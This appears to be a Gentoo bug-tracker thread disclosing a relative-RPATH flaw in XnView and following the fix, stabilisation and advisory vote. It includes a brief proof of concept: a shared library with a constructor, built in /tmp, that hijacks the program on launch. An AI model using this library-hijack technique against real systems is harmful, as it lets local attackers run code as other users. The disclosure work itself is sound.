nelchael from desktop-misc herd reported that xnview includes a relative rpath, this means that should the applicatoin be launched from a directory other users have write access to, they can hijack the application.
$ chrpath /opt/bin/nview
$ cd /tmp
** NVIEW v4.16 Copyright 1991-2002 Pierre-E Gougelet (Feb 17 2004/13:47:38) **
$ cat > exploit.c
void __attribute__((constructor)) evil (void)
fprintf(stderr, "exploit code now in control.\n");
$ gcc -fPIC -shared -o libformat.so exploit.c
exploit code now in control.
The package has been p.masked by desktop-misc, but may still need a glsa?
this could probably be fixed by using chrpath or patching the RPATH out in the ebuild, but this may violate some license agreement or something.
Got reply from Pierre-e Gougelet (author of Xnview):
> Is it possible for us to
> modify the RPATH while installing the package - wouldn't it violate the
Version 1.70-r1 which fixes this bug is in portage.
arches, pls test and mark stable.
x86 done. 1.70-r1 stable.
mhhh ok, seems this ready for glsa vote (is B3 ok here, anyways?). Also, as nelchael pointed out, ppc is probably not vulnerable, but i still want them to take a look while we continue the glsa process without waiting for them to stable.
vote YES, pretty serious.
We have a draft, lets have a GLSA, I vote yes.